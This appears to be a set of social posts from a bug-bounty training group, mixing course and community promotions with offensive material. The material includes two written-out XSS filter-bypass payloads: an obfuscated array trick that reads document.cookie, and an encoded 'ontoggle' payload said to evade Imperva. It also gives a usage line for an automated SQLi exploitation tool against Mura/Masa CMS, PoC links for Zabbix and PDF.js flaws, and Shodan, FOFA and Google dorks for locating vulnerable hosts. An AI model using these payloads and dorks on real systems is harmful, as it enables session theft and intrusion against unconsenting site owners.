Bypass XSS Filter with Array

Payload :

<noscript><p title="</noscript><img src=x onerror=([,O,B,J,E,C,,]=[]+{},[T,R,U,E,F,A,L,S,,,N]=[!!O]+!O+B.E)[X=C+O+N+S+T+R+U+C+T+O+R][X](A+L+E+R+T+(document.cookie))()>">

Answer is NULL Session

🚨Muraider - Automating the detection & Exploitation of CVE-2024-32640 SQLi in Mura/Masa CMS🚨

⚠Usage- python3 CVE-2024-32640.py --url https://target.com

👉Dorks-
Shodan-query: 'Generator: Masa CMS'
Google: "powered by Mura CMS"
FOFA: app="Mura-CMS"

🔗Link- https://github.com/Stuub/CVE-2024-32640-SQLI-MuraCMS

👉References:
https://buff.ly/3WKUzc9
https://buff.ly/3WJh1SY

📢For Live Class Enrollment DM in Whatsapp- https://buff.ly/3wOME2W
📝Join Our Telegram- https://buff.ly/3yi0H1o
📝Join Our Community- https://zurl.co/6G4I

📢 Take the 30-Day Bug Hunting Challenge!

🚨 Get ready to put your skills to the test! The challenge will be starting from June 1st.

👉 Anyone can participate in the challenge by joining our community. This is a self-help goal challenge where you will need to dedicate yourself for 30 days until you successfully find a bug and report it.

🔗 Join the Brut Security Community on Nas.io now: https://nas.io/brutsecurity

📝 For Enquiries DM us in WhatsApp: https://wa.me/918945971332

🚨GraphQL Test Cases Checklist🚨

🔗Link- https://anmolksachan.github.io/graphql/

🚨CVE-2024-22120: Zabbix SQLi Vulnerability🚨

⚠POC: https://lnkd.in/gtbSbpvg
⚠POC: https://lnkd.in/gv5t27Vw

👉This time-based SQL injection flaw poses a significant risk to systems running affected Zabbix, potentially allowing attackers to escalate privileges and even achieve remote code execution (RCE).

📢Reference: https://lnkd.in/g3iSTYEy

📝Dorks:
Hunter:/product.name="Zabbix"
FOFA:app="ZABBIX-Monitoring"
SHODAN:http.component:"Zabbix"

🚨CVE-2024-4367 & CVE-2024-34342: Arbitrary JavaScript execution in PDF.js



👉A type check was missing when handling fonts in PDF.js, which would allow arbitrary JavaScript execution in the PDF.js context. This vulnerability affects Firefox < 126, Firefox ESR < 115.11, and Thunderbird < 115.11.

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.



📢POC: https://www.youtube.com/watch?v=c90_UKJvj_w

📢POC: https://github.com/LOURC0D3/CVE-2024-4367-PoC

This XSS Payload bypasses Imperva's Protection.

<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=&#x0000000000061;lert&#x000000028;origin&#x000029;>

🚨Start you cybersecurity career with Brut Security

💥New Batch Starting From July 1st Week!!

💥Why Enroll?
Our course follows industry-standard curriculum, such as CEH by EC-Council, to ensure you gain the essential skills for a career in cybersecurity.

💥Got Questions?
Feel free to DM your queries on our WhatsApp: Chat with Us https://wa.me/918945971332

💥Here's what you'll learn:
Information Gathering
Social Engineering
System Hacking
Network Penetration Testing
Capture the Flag (CTF) Challenges
Basic Forensics
Web Penetration Testing (OWASP Top 10)

👉Course Curriculum: https://brutsec.com/Ethical_Hacking.pdf

💥Course Highlights:
1. International Standard Curriculum: Prepares you for entry-level cybersecurity roles.
2. Hands-On Learning: Practical exercises and real-world scenarios.
3. Community Support: Join our Telegram Community https://t.me/brutsecurity for peer support and networking.

💥Link- https://nas.io/brutsecurity/ckub

💥Got Questions?
Feel free to DM your queries on our WhatsApp: Chat with Us https://wa.me/918945971332



#brutsecurity #ethicalhacking #cybersecurity